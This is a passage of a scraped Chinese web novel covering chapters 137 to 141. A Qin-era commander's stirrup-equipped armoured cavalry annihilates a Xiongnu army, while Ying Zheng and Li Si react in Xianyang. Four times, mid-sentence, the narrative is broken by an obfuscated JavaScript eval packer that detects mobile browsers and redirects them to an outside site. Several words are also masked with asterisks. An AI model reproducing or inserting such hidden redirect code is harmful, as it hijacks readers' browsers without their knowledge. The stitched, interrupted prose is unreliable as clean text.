最让围观者感到新奇的,是那高高拱起的马鞍,以及垂在马腹两侧的两个小铁圈。 骑士们的双脚稳稳地踩在铁圈上,整个人与战马仿佛融为一体,稳如磐石。 顾清寒骑在一匹通体雪白的战马之上,同样一身玄甲,只是甲胄的纹路更为精细,背后一领猩红的披风,在寒风中猎猎作响。 他没有发表长篇大论的演说,只是环视着自己的士兵,拔出腰间的天工刀,刀锋直指北方。 “匈奴人,杀了我们的朋友,抢了我们的牛羊,打了我们的脸。” 他的声音平静,却传遍了整个队列。 “此去,只做三件事。” “**,抢粮,夺地。” “让他们知道,吃我顾清寒饭的人,我护着。动我顾清寒的人,我杀他全家。” “出发!” 没有多余的废话,只有最简单、最直接的命令。 “吼!” 三千玄甲军齐声怒吼,声震四野。他们策动战马,蹄声如雷,汇成一股黑色的钢铁洪流,向着关外席卷而去。 乌桓部落的营地,已经是一片愁云惨雾。 呼衍部的覆灭,像一块巨石压在所有与九原贸易的部落心头。 他们既恐惧匈奴人的报复,又害怕那位新崛起的“顾公”会抛弃他们。 哈丹长老坐在自己的王帐里,一夜白了半边头发。 就在这时,大地开始轻微地震动。 “是匈奴人!匈奴人又来了!”帐外传来惊恐的呼喊。 第137章 屠万狼如宰三千鸡 第一百三十七章屠万狼如宰三千鸡 哈丹长老一颗心沉到了谷底,他拄着拐杖,踉跄地走出王帐,准备迎接部落的末日。 可他看到的,却是一副让他永生难忘的景象。 地平线上,首先出现的是一片黑色的森林,那是数千名步卒的长矛。 他们步伐整齐,杀气冲天,正是牛辅率领的破阵营先锋。 紧随其后的,是一片移动的钢铁山脉。 三千名黑甲骑士,人马如一,带着碾碎一切的气势,滚滚而来。 他们没有呐喊,没有嘶吼,只有铁蹄踏击冻土的沉重闷响,和甲叶碰撞的冰冷声音,汇成一曲死亡的乐章。 哈丹长老身边的乌桓勇士们,全都看傻了。 他们张着嘴,手中的弯刀不自觉地垂了下去。他们见过秦军,也见过匈…奴的铁骑,但从未见过这样一支军队。 那不是人,那是从地狱里爬出来的魔神。 牛辅一马当先,冲到哈丹长老面前,翻身下马,蒲扇般的大手拍了拍长老的肩膀,咧嘴笑道:“长老,别怕!俺们顾少说了,天塌下来,他给顶着!这回来,就是专门给咱们的朋友,找回场子的!” 哈丹长老看着牛辅身后那支气势滔天的玄甲军,浑浊的老眼瞬间湿润了。 他抓住牛辅的手,激动得说不出话来,只是一个劲地点头。 恐惧,一扫而空。 取而代之的,是前所未有的心安和狂热。 这位顾公,不是只卖胡萝卜的商人。 他手里的大棒,比草原上任何一个王者的,都要粗,都要硬! …… 匈奴,右贤王大营。 右贤王正搂着一个从呼衍部抢来的美人,喝着马奶酒,听着手下头人们的吹捧。 “王!您这一手,真是高明!杀了呼衍部这只鸡,看草原上那些猴,谁还敢跟南边那些汉人眉来眼去!” “一群只会种地的软骨头,也敢来草原上做买卖?真是不知道死字怎么写!” 右贤王得意地哈哈大笑,一脚踹开身边的酒囊:“传令下去,休整三日,然后继续向东!把所有跟九原做过生意的部落,挨个给我踏平!他们的牛羊、女人,都是本王的!” 就在这时,一名斥候连滚带爬地冲了进来,脸色煞白。 “王!不……不好了!南边……南边来了一支汉人军队!” 右贤王眉头一皱,不悦道:“慌什么!来了多少人?几千个拿着木棍的农夫,也配叫军队?” “不……不是啊王!”斥候的声音带着哭腔,“是铁!全是铁!他们从人到马,都包着黑色的铁甲!跑起来,地都在抖!我们的箭,射在他们身上,就跟挠痒痒一样!” “什么?”右-贤王一把推开怀里的女人,站了起来。 另一名斥候也冲了进来,神情更为惊恐:“王!他们的步兵已经击溃了我们的前哨!他们的骑兵……他们的骑兵太快了!我们部落里最好的马,都追不上他们!他们坐在马上,就跟长在上面一样,还能站起来**!” “站起来**?”右贤王愣住了,这是他从未听说过的骑术。 大帐内,方才还一片欢声笑语的头人们,此刻都变了脸色。 一股不祥的预感,笼罩了整个营地。 右贤王脸色阴沉,他抓起挂在帐中的弯刀,厉声道:“慌什么!我匈奴三万铁骑在此,还会怕他几千汉人?传我王令,全军集结!我倒要看看,是他们的铁硬,还是我匈-奴勇士的刀快!” 他依旧不信,一群连马都骑不稳的汉人,能翻出什么浪来。 …… 咸阳,客栈。 寒风从窗户的缝隙里钻进来,吹得烛火摇曳。 陆佩奇躬身站在桌案前,将刚刚收到的加急密报,一字一句地念了出来。 他的声音很稳,但微微颤抖的指尖,却暴露了他内心的惊涛骇浪。 “……顾清寒尽起九原之兵,合步卒五千,玄甲骑兵三千,已出九原关,与乌桓等部会合,兵锋直指匈奴右贤王部。” 念完,他垂手侍立,不敢抬头。 这已经不是试探,不是演习。 这是顾清寒第一次,将他缔造的战争机器,真正亮出来,推向战场。 这一战的胜负,将直接决定整个北疆未来数十年的格局。 嬴政正坐在火盆边,手里拿着一根铁钳,拨弄着通红的炭火。 他听完汇报,脸上没有任何表情,既没有忧虑,也没有欣喜,仿佛在听一件与自己毫不相干的邻里琐事。 许久,他才缓缓开口,声音沙哑而平静。 “清寒带去的那三千玄甲军,新兵占了七成。右贤王纵横草原十数年,手下是三万久经战阵的精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721473|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锐。你觉得,他有几成胜算?” 陆佩奇心中一凛,他知道,这是陛下在考校他。 他沉思片刻,谨慎地答道:“回陛下,兵法云,十则围之,五则攻之。敌众我寡,兵力悬殊。若按常理,顾少此战,胜算不足三成。但……” 他顿了顿,想起了密报中对玄甲军的描述。 “但顾少有神兵利器之助,甲坚兵利,马具之奇,闻所未闻。若能出其不意,一战击溃敌军士气,或可将胜算,提到五成。” “五成?” 嬴政嗤笑一声,他将铁钳扔回盆中,发出一声脆响。 他站起身,走到窗边,望着北方那片漆黑的夜空,仿佛能穿透千里,看到那片即将被鲜血染红的草原。 “朕的孙儿,既然敢亮刀,就没想过只赢五成。” 他转过身,浑浊的老眼中,闪烁着一种陆佩奇从未见过的,混杂着疯狂与期待的光芒。 “传令下去,让屠睢的兵,往后退三十里。别挡着路,惊扰了朕看戏的兴致。” “朕要看的,不是五成胜算。” “朕要看的,是这头小老虎,如何用三千人,去屠三万狼!” 草原的冬日,天高云淡,风如刀割。 两支军队在枯黄的草野上遥遥对峙,肃杀之气冻结了空气。 北面,是黑压压一片的匈奴大军。 三万骑兵人喊马嘶,阵型散乱,像一群被惊扰的野狼,挥舞着弯刀,用听不懂的语言肆意叫嚣着,看向对面那支人数远逊于己的汉军,眼神里满是嗜血的贪婪与轻蔑。 南面,顾清寒的军队静默如铁。 五千破阵营步卒在前,结成厚重的矛阵,长矛如林,盾牌如山。 其后,三千玄甲军一字排开,骑士与战马都仿佛是黑铁浇铸的雕塑,纹丝不动。 没有一声呐喊,没有一丝杂音,只有猩红的披风与黑色的“玄”字大旗在寒风中无声卷动。 右贤王骑在一匹高大的枣红马上,看着对面那小得可怜的阵仗,放声大笑,笑声传遍了整个匈奴军阵:“就这么点人?那个叫顾清寒的缩头乌龟,是把他家里的长工都拉出来送**吗?” 周围的匈奴头人们跟着哄笑起来,看向玄甲军的眼神,就像在看一群已经到手的肥羊。 “王,让我们冲吧!一个来回,就能把他们碾成肉泥!” 第138章 王旗落,草原惊 第一百三十八章王旗落,草原惊 “他们的铁壳子看着吓人,说不定是拿锅底灰涂的,一碰就碎!” 右贤王抬起手,止住了部下的请战,他要用一场猫捉老鼠的好戏,来彻底摧毁这些汉人的胆气。 他拔出黄金弯刀,向前一指,下达了第一个命令:“放箭!给本王把他们射成刺猬!” “嗡——” 遮天蔽日的箭雨腾空而起,带着尖锐的呼啸声,如同一片乌云,朝着破阵营的盾阵和后方的玄甲军兜头盖脸地压了下去。 这是匈奴人最引以为傲的战法,是他们让无数对手胆寒的死亡序曲。 然而,接下来发生的一幕,却让所有匈奴人的笑声,都卡在了喉咙里。 “叮叮当当——噼里啪啦——” 箭矢落在破阵营的铁盾上,溅起点点火星,却无法寸进。 而射向玄甲军的箭矢,更是发出了一阵仿佛冰雹砸在铁瓦上的密集脆响。 箭矢撞在坚韧的锁子甲上,纷纷弹开、折断,无力地坠落在地。 三千玄甲军,依旧静立如山,仿佛刚才那场箭雨,不过是一阵微不足道的风沙。 一个匈奴骑兵不敢置信地揉了揉眼睛,看着自己射出的箭,软绵绵地掉在一个黑甲骑士的脚边,那个骑士甚至连动都懒得动一下。 “这……这怎么可能?” “他们的甲……是魔鬼的皮做的吗?” 恐慌,如同瘟疫,开始在散漫的匈奴军阵中悄然蔓延。 右贤王脸上的笑容僵住了,取而代之的是一抹惊疑与暴怒。 他不信邪,再次厉声下令:“再射!不停地射!本王不信他们的铁皮没有缝!” 又是一轮箭雨,依旧是同样的结果。 除了在地上铺了更厚一层无用的断箭,汉军的阵列中,连一声惨叫都没有。 对面,顾清寒冷冷地看着这一切。 他的眼神,平静得像是在看一场早已知道结局的闹剧。 他缓缓举起了手中的天工刀。 “牛辅。” “在!”高台下的牛辅,早已等得不耐烦,闻声发出一声震**吼。 “敌军上前,长矛攒刺,敢越线者,死。” *“遵命!”牛辅兴奋地舔了舔嘴唇,将手中的巨盾往地上一顿,发出一声闷响。 顾清寒的目光,转向身后的玄甲军。 “玄甲军!” “吼!”三千骑士齐声应和,声如沉雷,压过了草原上的风声。 顾清寒的天工刀,猛然向前一指。 “随我,破阵!” 没有多余的动员,只有最冰冷的命令。 “轰——隆——隆——” 三千匹钉着马蹄铁的战马同时启动,大地开始剧烈地震颤。 那不是寻常骑兵冲锋时的万马奔腾,而是一座钢铁山脉,开始移动! 玄甲军的骑士们,双脚稳稳地踩在马镫上,身体微微前倾,手中的精钢长矛平举向前,三千个锋锐的矛头在阳光下连成一线,形成了一道无可阻挡的死亡锋线。 右贤王看着那股以不可思议的速度和气势席卷而来的黑色洪流,瞳孔猛地一缩。 他终于感觉到了一丝不对劲,那不是人类军队该有的气势。 “迎击!迎击!拦住他们!”他声嘶力竭地咆哮着。 匈奴的骑兵们怪叫着,催动战马迎了上去。 他们依旧相信,凭借人数的优势和骑术的娴熟,足以将这支汉军撕成碎片。 下一刻,黑色的洪流与杂色的狼群,轰然相撞。 没有想象中的胶着与缠斗。 “噗嗤!噗嗤!噗嗤!” 那声音,不像是兵器碰撞,更像是利刃切开朽木。 玄甲军的钢铁锋线,以一种摧枯拉朽的姿态,瞬间凿穿了匈奴人的前阵。 无数匈奴骑兵连人带马,被那高速冲来的长矛直接贯穿,巨大的冲击力将他们挑飞在半空,随即被后面的铁蹄踏成肉泥。 一个匈奴百夫长,是部落里有名的勇士,他挥舞着弯刀,奋力砍向一名黑甲骑士的长矛。 “当!” 火星四溅,他的弯刀应声而断,而那名骑士,借助马镫的力量,身体在马背上稳如泰山,手中的长矛只是微微一沉,便毫不费力地从他的胸口透体而过。 他到死都不明白,为什么对方坐在飞驰的马上,还能有如此恐怖的力量。 一轮冲锋,只是一轮冲锋,匈奴人的阵线就被撕开了一道长达数里、深不见底的巨大伤口。 玄甲军凿穿敌阵后,没有丝毫停留,在顾清寒的带领下,划出一道优美的弧线,开始回转,准备第二次冲锋。 而那些被冲散、冲乱的匈奴骑兵,还没来得及重整队形,就一头撞上了牛辅早已严阵以待的步兵矛阵。 “杀!” 牛辅一声令下,数千柄长矛从盾牌的缝隙中猛然刺出,又一排匈奴人惨叫着**,变成了步兵脚下的尸体。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725898|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>战场,彻底成了一面倒的屠宰场。 右贤王呆呆地看着眼前的一切,浑身冰冷。 他引以为傲的三万铁骑,在这支黑甲汉军面前,脆弱得就像三万只鸡。 对方的甲,他们的箭射不穿;对方的刀,能轻易斩断他们的兵器; 对方的骑术,更是他们闻所未闻的魔鬼技巧。 这不是战争,这是单方面的**。 “王!我们顶不住了!他们不是人!他们是魔鬼!” “王!快撤吧!” 军心,已经彻底崩溃。 就在这时,右贤王看到,那支黑色的骑兵完成了转向,而他们的矛头,正笔直地对准了他所在的位置——那面象征着右贤王权威的狼头大旗。 为首的那名白马玄甲的将领,那双冰冷的眸子,仿佛穿透了整个混乱的战场,死死地锁定了他。 一股源自灵魂深处的恐惧,瞬间攫住了右贤王的心脏。 他再也顾不上什么王的尊严,怪叫一声,猛地一拨马头,扔下自己的王旗,扔下还在苦战的部下,头也不回地向北方狂奔而去。 王旗一倒,全军皆崩。 所有的匈奴骑兵都疯了一样,掉头逃窜,只恨爹娘少生了两条腿。 顾清寒看着那片溃败的景象,眼神没有丝毫波澜。 他举起沾满鲜血的天工刀,吐出两个字。 “追。杀。” 这是一场追逐,更是一场狩猎。 三千玄甲军化作三千道黑色的死神之影,在广袤的草原上,对溃散的匈奴骑兵展开了一场效率高到令人发指的**。 他们的战马不知疲倦,他们的骑士冷静得如同冰铁。 没有多余的呐喊,只有长矛刺穿肉体的闷响,和天工刀划开喉咙的轻微撕裂声。 一名玄甲军骑士轻易地追上三名亡命奔逃的匈奴兵,他没有减速,手中的长矛如**出洞,精准地从最后一名匈奴兵的后心贯入,前胸透出。 他甚至没有收回长矛,任由尸体被巨大的惯性带**下,顺手拔出腰间的环首刀,身体在马镫上微微借力,刀光一闪,第二名匈奴兵的头颅便冲天而起。 第三名匈奴兵吓得魂飞魄散,凄厉地尖叫着,却被骑士从侧后方赶上,一刀削断了马腿。 战马悲鸣着翻滚在地,将它的主人压成了肉泥。 做完这一切,骑士没有丝毫停留,继续向前,寻找下一个目标。 整个战场,都是这般景象的无数次重演。 第139章 斩杀右贤王 第一百三十九章斩杀右贤王 玄甲军就像一群经验老到的屠夫,在羊圈里,有条不紊地进行着宰杀。 而顾清寒的目标,只有一个。 他的坐骑是**挑一的白马王,速度与耐力远超寻常战马。 他死死地锁定着那个在乱军中狂奔的华服身影——右贤王。 半个时辰后,右贤王胯下的宝马已经口吐白沫,速度渐渐慢了下来。 他惊恐地回头,只见那名白马玄甲的汉将,如鬼魅般,已经追到了他身后不足百步的距离。 那双冰冷的眼睛,让他感觉自己像是被一条洪荒巨兽盯上了。 “别杀我!别杀我!” 右贤王彻底崩溃了,他扔掉弯刀,用生硬的汉话哭喊道,“我把所有的牛羊、女人都给你!我给你当狗!饶我一命!” 回应他的,是顾清寒愈发冰冷的眼神。 顾清寒想起了呼衍部被屠的惨状,想起了赵老伯那句“背叛你,连骨头都剩不下”。 匈奴人不是他的朋友,自然就是他的敌人。 对待敌人,他从不手软。 白马如一道闪电,瞬间拉近了最后的距离。 顾清寒手中的天工刀在空中划出一道森寒的弧线。 右贤王的求饶声戛然而止。 他的头颅飞起,脸上还凝固着极致的恐惧。无头的尸身在马上又冲出十几步,才颓然栽倒,溅起一片枯黄的草屑。 顾清寒勒住战马,俯身用刀尖挑起那颗死不瞑目的头颅,高高举起。 追杀仍在继续,但当那颗属于右-贤王的头颅出现在战场上时,所有还在负隅顽抗的匈奴人,都发出了绝望的哀嚎,彻底失去了最后一丝斗志。 …… 当太阳偏西时,草原上重新恢复了宁静。 只是这宁静中,弥漫着浓得化不开的血腥味。 牛辅带着破阵营的步卒,像一群勤劳的蚂蚁,打扫着战场,清点着战利品。 他们攻占了匈奴人的大营,里面的牛羊、金银、皮**堆积如山。 “发了!顾少,这回真的发了!” 牛辅提着两把缴获的黄金弯刀,跑到顾清寒面前,笑得合不拢嘴,“这帮杂碎还挺有钱!光是战马,俺们就收拢了不下五万匹!还有这些牛羊,够咱们吃到明年开春了!” 哈丹长老和其余部落的头人,在乌桓勇士的簇拥下,小心翼翼地走进了这片修罗地狱。 遍地都是残缺不全的尸体,折断的兵器,倒毙的战马。 三万匈奴铁骑,如今变成了三万具冰冷的尸骸。 而那支黑甲汉军,除了少数人受了轻伤,竟几乎没什么损失。 当他们看到顾清寒骑在白马上,手中提着右贤王的头颅,缓缓归来时,所有的部落头人都“噗通”一声跪倒在地。 那不是臣服,那是对神明的敬畏。 哈丹长老老泪纵横,他匍匐在地,亲吻着顾清寒战马踏过的土地,用尽全身力气喊道:“草原南方的雄鹰,不!您是草原唯一的主宰!我们乌桓部落,愿生生世世,做您最忠诚的仆人!” “我们也是!” “愿为顾公牵马!” 牛辅看着这群前倨后恭的部落头人,得意地挺起胸膛,清了清嗓子,学着文远的样子,想说几句有水平的话来总结战局。 憋了半天,他猛地一拍胸口的锁子甲,瓮声瓮气地说道:“战术?啥战术?俺们顾少就说了一个字:冲!然后他们就死光了!就这么简单!” 周围的部落头人听得倒吸一口凉气,看向顾清寒的眼神,愈发敬畏。 冲,就死光了。 这是何等恐怖的力量! 顾清寒将右贤王的头颅扔给牛辅:“找根长杆子,把它挂在咱们九原的北门上。我要让所有北上南下的人都看看,动我朋友的下场。” 他翻身下马,扶起哈丹长老,语气温和了许多:“长老,我答应过,会为你们讨回公道。现在,我做到了。” 他环视着跪了一地的部落头人,声音不大,却清晰地传到每个人耳中:“从今天起,这片草原,我说了算。听话的,跟着我吃肉喝酒,过比关中人还好的日子。不听话的……” 他没有说下去,但所有人的目光,都不由自主地瞥向了地上那些匈奴人的尸体。 答案,不言而喻。 …… 咸阳,客栈。 陆佩奇第三次看完了手中的密报,可他的手,依旧在抖。 他深吸一口气,走进嬴政的房间。 嬴政正坐在窗边,手里捧着一卷竹简,神态安详,仿佛只是在等一份寻常的家书。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725899|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “陛下。”陆佩奇的声音有些干涩。 “念。”嬴政眼皮都没抬一下。 陆佩奇展开密报,声音因极力压抑着内心的骇浪而显得有些变形:“九原急报。顾清寒率军于昨日,在狼居胥山下,与匈奴右贤王部三万铁骑决战。” 他顿了顿,喉结上下滚动了一下。 “玄甲军三千,一战功成。阵斩匈奴右贤王,尽歼其众。我军……我军伤亡,不足二百。” 房间里,死一般的寂静。 连窗外风吹树叶的沙沙声,都清晰可闻。 许久,嬴政才缓缓放下手中的竹简。 他没有笑,也没有惊讶,只是那双浑浊的老眼中,翻涌着一股陆佩奇完全看不懂的,混杂着欣赏、震撼,甚至是一丝寂寥的复杂情绪。 他终于明白了那套新式马具的真正意义。 那不是简单的改进,那是一场足以颠覆一个时代的**。 他仿佛看到了,在遥远的未来,一支支这样的铁骑,将以无可阻挡之势,踏平世间一切的敌人。 “三千破三万,伤亡不足二百……”嬴政喃喃自语,像是在品味一道绝世佳肴,“好,好一个**不见血,诛心不用刀。李斯想用朝廷的法度去锁住一头猛虎,这小子,却反手把整个草原,变成了他自己的猎场。” 他抬起头,看向脸色煞白,如同见了鬼一样的陆佩奇,嘴角忽然勾起一抹玩味的笑意:“怎么,怕了?北疆大患,一战而平。我大秦的百姓,从此可免受匈奴侵扰之苦。陆统领,你不为朕高兴吗?” 陆佩奇的后背,瞬间被冷汗浸透。 为陛下高兴? 他只觉得一股寒气从脚底板直冲天灵盖。 陛下这是在告诉他,一场彻头彻尾的拥兵自重、开疆拓土的谋逆之举,在他口中,却成了为国除害、安靖边疆的盖世奇功? 嬴政站起身,走到陆佩-奇身边,轻轻拍了拍他的肩膀,语气悠远。 “去,传朕的口谕给屠睢。” “告诉他,仗打完了,可以回家了。” 嬴政望着窗外北方的天空,声音里带着一丝无人能懂的笑意。 “他那条看门犬的差事,也该卸了。” “因为那只他要提防的恶犬,如今,已经成了这片草原上,新的狼王。” 第140章 老将卸甲 第一百四十章老将卸甲 上郡,屠睢军营。 帅帐内的火盆烧得半死不活,一如屠睢此刻的心情。 一道来自咸阳的口谕,轻飘飘的,却比千钧还重,压得整个大帐都喘不过气来。 “撤兵?” 一名络腮胡子的副将瞪着铜铃大的眼睛,满脸都是不可思议。 “将军,咱们在这儿顶着风雪耗了几个月,咸阳那边不给粮草补给,就给了一顶北疆铁壁的虚名。现在倒好,一句话就让咱们卷铺盖走人?这算怎么回事?” “是啊将军,外面那些评书的、唱曲儿的,都快把咱们夸成天神下凡了。咱们这一走,岂不是自己打自己的脸?” 几个裨将七嘴八舌,满腹牢骚。 他们在这里名为威慑九原,实则日子过得憋屈。 好不容易靠着顾清寒送来的高帽子,在北地百姓心中混了个忠勇无双的好名声,现在说走就走,之前的戏不都白唱了? 屠睢端坐在主位上,那张饱经风霜的老脸看不出喜怒,只是用手指摩挲着腰间的佩剑,一言不发。 他当然知道这道命令背后意味着什么。那不是丞相李斯的意思,而是来自那位高居咸阳宫,俯瞰天下的始皇帝。 就在这时,一名斥候神色慌张地冲了进来,与其说是慌张,不如说是极度的震撼。 “报——”斥候跪倒在地,声音都变了调,“将军!九原……九原军大破匈奴!” “什么?”帐内众人齐齐一愣。 斥候咽了口唾沫,试图平复自己狂跳的心脏,用最快的语速汇报着他打探到的消息:“九原右庶长顾清寒,亲率步骑八千,于狼居胥山下,与匈奴右贤王三万铁骑决战!” “八千对三万?他疯了?”副将失声叫道。 “没疯!”斥候的眼中燃起一团火,那是亲眼见证奇迹后的狂热,“玄甲军三千铁骑,一战……一战就凿穿了匈奴人的大阵!阵斩右贤王!三万匈奴骑兵,被尽数歼灭!我军……哦不,九原军,伤亡不足二百!” “嘶——” 帅帐内,响起一片倒吸凉气的声音。 方才还在抱怨的将领们,此刻全都呆若木鸡,仿佛被一道天雷劈中了脑门。 八千破三万,斩其王,歼其众,自身伤亡不足二百? 这是人能打出来的仗? 这是战报还是神话? 屠睢摩挲剑柄的手,终于停了下来。 他缓缓抬起头,那双浑浊的老眼中,闪过一丝骇然,一丝苦笑,最后,竟是一抹如释重负的轻松。 他全明白了。 什么“恶犬”,什么“链子”,什么“看门翁”。 从头到尾,他屠睢就是个幌子,是那位陛下摆在棋盘上,用来给自己的宝贝孙儿遮风挡雨,顺便看看成色的棋子。 如今,那只被他提防的恶犬,已经长成了能一口吞掉三万头恶狼的狼王。 他这条老掉牙的链子,自然也就没了用处。 “哈哈……哈哈哈哈!” 屠睢突然放声大笑,笑声里充满了自嘲与感慨。 众人被他笑得一头雾水。 屠睢站起身,一脚踹翻了面前那半死不活的火盆,骂骂咧咧道:“**!收拾东西!回家!” 他走到帐门口,望着九原的方向,眼神复杂。 “老子在北疆打了半辈子仗,没干成的事,让一个毛头小子几天就给干成了。这差事,卸了也不冤。” 他顿了顿,回头看着自己那群还在发愣的部下,咧嘴一笑,露出一口黄牙。 “传令下去,就说我屠睢,听闻顾右庶长大破匈奴,为我大秦立下不世之功,心甚慰之。我部威慑匈奴之任务已毕,就此班师。临走前,把我军中最好的五百匹战马,送去九原,就当是……老子给他贺功了!” …… 咸阳,丞相府。 府内的气氛,比隆冬的冰窖还要寒冷。 李斯静静地跪坐在书房内,面前的矮几上,摆着两份几乎同时送达的密报。 一份,是上郡屠睢大军拔营,班师回朝。 另一份,是九原顾清寒阵斩匈奴右贤王,尽歼其三万铁骑。 当这两份情报摆在一起时,就构成了一幅对李斯而言,极尽羞辱与讽刺的画卷。 他输了。 输得彻彻底底,体无完肤。 他精心设计的诛心之计,成了笑话。 他引以为倚仗的屠睢大军,成了看客。 他想置于死地的逆贼,转眼间,就成了为国除害,安靖北疆的盖世英雄。 这一巴掌,不是顾清寒扇的,是那位远在咸阳宫的陛下,借着顾清寒的手,狠狠地抽在了他的脸上。 “噗——” 李斯死死咬住牙关,将那股涌上喉头的腥甜,又硬生生地咽了回去。 他不能再吐血了。 再吐,就不是病,是丑闻了。 他缓缓闭上眼睛,脑海中浮现出那个年轻人的模样。 那个在咸阳街头,从容不迫的年轻人; 那个在朝堂之上,言辞锋利的年轻人; 那个隔着千里之外,将他**于股掌之间的年轻人。 他想用法,对方就用理站在了道义的制高点。 他想用势,对方就用一场惊天动地的军功,铸就了让他无法撼动的滔天大势。 他发现自己所有引以为傲的权谋、手段,在对方那种简单粗暴,却又直指核心的力量面前,都显得那么苍白无力。 一种前所未有的挫败感,如同潮水般将他淹没。 他不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725900|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 输给了一个武夫,也不是输给了一个权臣。 他感觉,自己输给了一个时代。 一个不属于他的,全新的时代。 李斯缓缓睁开眼,眼神中没了往日的阴鸷与锐利,只剩下一片死寂的灰败。 他挥了挥手,声音沙哑得如同漏风的破鼓。 “来人。” 一名心腹幕僚小心翼翼地走了进来。 “把……把前院那些东西,处理掉吧。” 幕僚愣了一下,才反应过来那些东西指的是什么。 “相爷,如何处理?” “送去少府监。”李斯的声音平静得可怕,“就说,此乃九原顾右庶长所献之神物,利国利民。我李斯一人,不敢独占,特献于陛下,以彰其功。” 他这是在认输,在低头。 用一种最体面的方式,去结束这场最不体面的羞辱。 …… 狼居胥山下,血腥味已被寒风吹散,取而代之的是胜利的狂欢。 顾清寒没有独吞战利品。他将缴获的牛羊分出三成,连同五百套崭新的兵甲,赏赐给了哈丹长老和那些在此战中出了力的乌桓部落。 胡萝卜给得又大又甜,那些刚刚见识了大棒威力的部落头人们,一个个感激涕零,恨不得当场给顾清寒立长生牌位。 “主公,经此一战,匈奴在漠南的势力,基本被我们扫清了。” 文远站在一处高坡上,看着下方正在被整编的数万匹战马和如云的牛羊,眼神清明,“我们不仅收获了海量的物资,更重要的是,我们收获了整个草原的敬畏。从今往后,九原,便是这漠南草原,唯一的王庭。” “光当王还不够。”顾清寒的目光望向更遥远的北方,“我要让这片草原,变成我们最稳固的后方,最肥沃的牧场,还有……最锋利的刀。” “牛辅!” “顾少,俺在!”牛辅正骑在一匹神骏的汗血宝马上,得意洋洋地兜着圈子,听到召唤,立刻屁颠屁颠地跑了过来。 “给你个新任务。”顾清寒笑道,“从破阵营和玄甲军里,挑出五千个最悍不畏死的弟兄。从今天起,你们的任务,就是给我在草原上练兵。用匈-奴人当磨刀石,给我练出一支真正的虎狼之师!” “好嘞!”牛辅兴奋得一捶马鞍,“保证把他们练得比匈奴人还像匈奴人!” 他忽然想起什么,凑过来,压低了声音:“顾少,咱们现在兵强马壮,粮食吃不完,钱也花不完。要不……咱们干脆调转马头,杀回咸阳,把那皇帝老儿的位子给坐了?” 文远在一旁听得眼皮直跳,连忙咳嗽了一声。 顾清寒却笑了,他拍了拍牛辅的肩膀:“不急。饭,要一口一口吃。皇帝嘛……等他自己把龙椅挪过来,请我们去坐的时候,再坐也不迟。” 第141章 天子赐封,相爷断腕 第一百四十一章天子赐封,相爷断腕 咸阳城的天,终于放晴了。 一扫连日的阴霾,阳光普照,暖洋洋地洒在每一个人的脸上,仿佛在庆祝着什么。 庆祝的,是一场远在千里之外的旷世大捷。 “八千破三万!阵斩匈奴王!” “九原顾公,天神下凡啊!” “什么顾公,以后得叫顾侯爷!我听我那在军中当差的表哥说了,此战过后,顾右庶长封侯是板上钉钉的事!” “何止是封侯!你们看那丞相府的大门,可开了!” 不知是谁喊了一嗓子,所有人的目光都齐刷刷地投向了那座死寂了多日的府邸。 只见丞相府的中门缓缓打开,没有高官出入,没有车马往来。 走出来的,是一队队垂头丧气的家丁,两人抬着一架,将那一百架崭新的顾公犁,原封不动地,从府里抬了出来。 队伍走得很慢,像是一场沉默的、难堪的送葬。 送葬的,是丞相李斯的脸面。 围观的百姓们自动让开一条道路,没有人说话,但所有人的脸上,都挂着一模一样的,憋着笑的古怪表情。 “这是……要去哪?” “还能去哪?听说是相爷自觉德不配位,不敢私藏此等利国利民的神器,特献于陛下,要送去少府监呢!” “啧啧,献宝?我怎么瞅着,像是上门去赔罪呢?” “这叫断腕求生!相爷这是在告诉全天下,他斗不过那位顾公,他认输了!” 队伍在无数道目光的注视下,穿过大半个咸阳城,最终抵达了少府监的大门。 当最后一件犁头被交接入库,丞相府的大门再次紧紧关闭时,整个咸阳城都仿佛听到了一声清脆的、响亮的耳光。 